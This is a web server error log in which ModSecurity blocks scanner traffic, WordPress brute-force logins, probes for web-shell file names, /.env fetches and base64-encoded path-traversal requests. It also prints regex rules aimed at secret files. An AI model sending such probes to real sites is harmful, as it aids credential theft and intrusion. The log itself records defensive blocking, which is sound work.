https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:10:55.903454 2026] [security2:error] [pid 531797:tid 532030] [client 20.9.67.71:36108] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/twinklingly.php"] [unique_id "ai3xj8TA7b1mZrmcA-8oiwAAAjU"] [Sat Jun 13 18:10:55.916955 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.107:62389] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:55.917346 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.107:62389] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:55.930957 2026] [security2:error] [pid 531797:tid 532084] [client 172.171.3.232:18348] ModSecurity: Warning. Pattern match "/1\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1543"] [id "900921"] [msg "temporary TUW-72162 logging rule"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/1.php"] [unique_id "ai3xj8TA7b1mZrmcA-8ojAAAAmo"] [Sat Jun 13 18:10:55.931085 2026] [security2:error] [pid 531797:tid 532084] [client 172.171.3.232:18348] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/1.php"] [unique_id "ai3xj8TA7b1mZrmcA-8ojAAAAmo"] [Sat Jun 13 18:10:56.010601 2026] [access_compat:error] [pid 531797:tid 531882] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:56.010925 2026] [access_compat:error] [pid 531797:tid 531882] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:56.165242 2026] [security2:error] [pid 531155:tid 531291] [client 191.234.188.123:63915] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/acp.php"] [unique_id "ai3xkCmiP80klyS0Nnr6XwAAARA"] [Sat Jun 13 18:10:56.330760 2026] [security2:error] [pid 531797:tid 531949] [remote 17.246.15.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xkMTA7b1mZrmcA-8olgACV1U"] [Sat Jun 13 18:10:56.335869 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.72:45321] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:56.336146 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.72:45321] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:56.346331 2026] [security2:error] [pid 531797:tid 531876] [remote 17.22.237.179:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xkMTA7b1mZrmcA-8olwACYQw"] [Sat Jun 13 18:10:56.351721 2026] [access_compat:error] [pid 531155:tid 531252] [remote 57.141.14.113:40216] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:56.352007 2026] [access_compat:error] [pid 531155:tid 531252] [remote 57.141.14.113:40216] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:56.382007 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:56.382292 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:56.410180 2026] [core:error] [pid 531797:tid 531894] [remote 64.176.80.42:55746] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:10:56.410199 2026] [core:error] [pid 531797:tid 531894] [remote 64.176.80.42:55746] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:10:56.503845 2026] [access_compat:error] [pid 531797:tid 531915] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:56.504122 2026] [access_compat:error] [pid 531797:tid 531915] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:56.543006 2026] [security2:error] [pid 531797:tid 531991] [remote 37.27.234.213:41338] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.inplace-design.com"] [uri "/wp-login.php"] [unique_id "ai3xkMTA7b1mZrmcA-8onQAChX4"], referer: https://mail.inplace-design.com/wp-login.php [Sat Jun 13 18:10:56.662275 2026] [access_compat:error] [pid 531155:tid 531223] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:56.662756 2026] [access_compat:error] [pid 531155:tid 531223] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:56.838205 2026] [security2:error] [pid 531797:tid 532049] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/.env"] [unique_id "ai3xkMTA7b1mZrmcA-8orgAAAkc"] [Sat Jun 13 18:10:56.851635 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:10:56.852102 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:10:56.895119 2026] [security2:error] [pid 531155:tid 531241] [remote 17.241.219.246:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 246.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xkCmiP80klyS0Nnr6ewABdVU"] [Sat Jun 13 18:10:56.997193 2026] [security2:error] [pid 531155:tid 531298] [client 20.9.67.71:36163] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/12.php"] [unique_id "ai3xkCmiP80klyS0Nnr6fwAAARc"] [Sat Jun 13 18:10:57.004629 2026] [security2:error] [pid 531797:tid 532039] [client 103.146.202.144:57818] ModSecurity: Access denied with code 406 (phase 1). Pattern match "^POST$" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "187"] [id "900401"] [msg "PHP Spam Botnet"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/"] [unique_id "ai3xkcTA7b1mZrmcA-8osgAAAj4"] [Sat Jun 13 18:10:57.033947 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.36:36266] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:57.034368 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.36:36266] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:57.059945 2026] [access_compat:error] [pid 531797:tid 531980] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:57.060399 2026] [access_compat:error] [pid 531797:tid 531980] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:57.297555 2026] [security2:error] [pid 531797:tid 531911] [remote 143.198.203.76:60412] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.203.198.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "website-4f489b17.pgt.qqk.mybluehost.me"] [uri "/wp-login.php"] [unique_id "ai3xkcTA7b1mZrmcA-8oygACiy8"], referer: https://website-4f489b17.pgt.qqk.mybluehost.me/wp-login.php [Sat Jun 13 18:10:57.321182 2026] [security2:error] [pid 531155:tid 531189] [remote 17.246.19.209:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 209.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xkSmiP80klyS0Nnr6jgABaSE"] [Sat Jun 13 18:10:57.413330 2026] [security2:error] [pid 531797:tid 532035] [client 20.9.67.71:41926] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/rum.php"] [unique_id "ai3xkcTA7b1mZrmcA-8ozQAAAjo"] [Sat Jun 13 18:10:57.435353 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjE2L3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:10:57.435851 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjE2L3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:10:57.463492 2026] [security2:error] [pid 531797:tid 531931] [remote 17.246.15.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xkcTA7b1mZrmcA-8ozgACRUM"] [Sat Jun 13 18:10:57.488300 2026] [security2:error] [pid 531797:tid 532056] [client 20.9.67.71:36140] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/cakr3xr4.php"] [unique_id "ai3xkcTA7b1mZrmcA-8o0QAAAk4"] [Sat Jun 13 18:10:57.492739 2026] [access_compat:error] [pid 531797:tid 531893] [remote 57.141.14.113:40246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:57.493168 2026] [access_compat:error] [pid 531797:tid 531893] [remote 57.141.14.113:40246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:57.571971 2026] [access_compat:error] [pid 531797:tid 531916] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2M= [Sat Jun 13 18:10:57.572474 2026] [access_compat:error] [pid 531797:tid 531916] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2M= [Sat Jun 13 18:10:57.578503 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.68:36642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:57.578938 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.68:36642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:57.656252 2026] [security2:error] [pid 531797:tid 532004] [client 103.146.202.144:54116] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/.env"] [unique_id "ai3xkcTA7b1mZrmcA-8o2AAAAhw"] [Sat Jun 13 18:10:57.659698 2026] [security2:error] [pid 531797:tid 532086] [client 191.233.234.186:38863] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/s-axi.php"] [unique_id "ai3xkcTA7b1mZrmcA-8o2QAAAmw"] [Sat Jun 13 18:10:57.702777 2026] [security2:error] [pid 531155:tid 531318] [client 191.233.234.186:45784] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "afghanjudofederation-af.accessart.af"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xkSmiP80klyS0Nnr6nQAAASs"] [Sat Jun 13 18:10:57.774039 2026] [access_compat:error] [pid 531155:tid 531224] [remote 57.141.14.69:42656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:57.774354 2026] [access_compat:error] [pid 531155:tid 531224] [remote 57.141.14.69:42656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:57.939836 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9pbnB1dC9pbnB1dDYvZGV2aWNl [Sat Jun 13 18:10:57.940278 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9pbnB1dC9pbnB1dDYvZGV2aWNl [Sat Jun 13 18:10:57.951202 2026] [security2:error] [pid 531797:tid 532103] [client 172.171.3.232:41528] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/xxc.php"] [unique_id "ai3xkcTA7b1mZrmcA-8o5gAAAnw"] [Sat Jun 13 18:10:58.078534 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:58.078825 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:58.087446 2026] [security2:error] [pid 531797:tid 532128] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/.env.backup"] [unique_id "ai3xksTA7b1mZrmcA-8o6AAAApM"] [Sat Jun 13 18:10:58.115514 2026] [security2:error] [pid 531797:tid 532013] [client 191.234.188.123:47960] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/css/themes.php"] [unique_id "ai3xksTA7b1mZrmcA-8o6QAAAiU"] [Sat Jun 13 18:10:58.117864 2026] [security2:error] [pid 531797:tid 532101] [client 20.9.67.71:36123] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/yoy123.php"] [unique_id "ai3xksTA7b1mZrmcA-8o6gAAAno"] 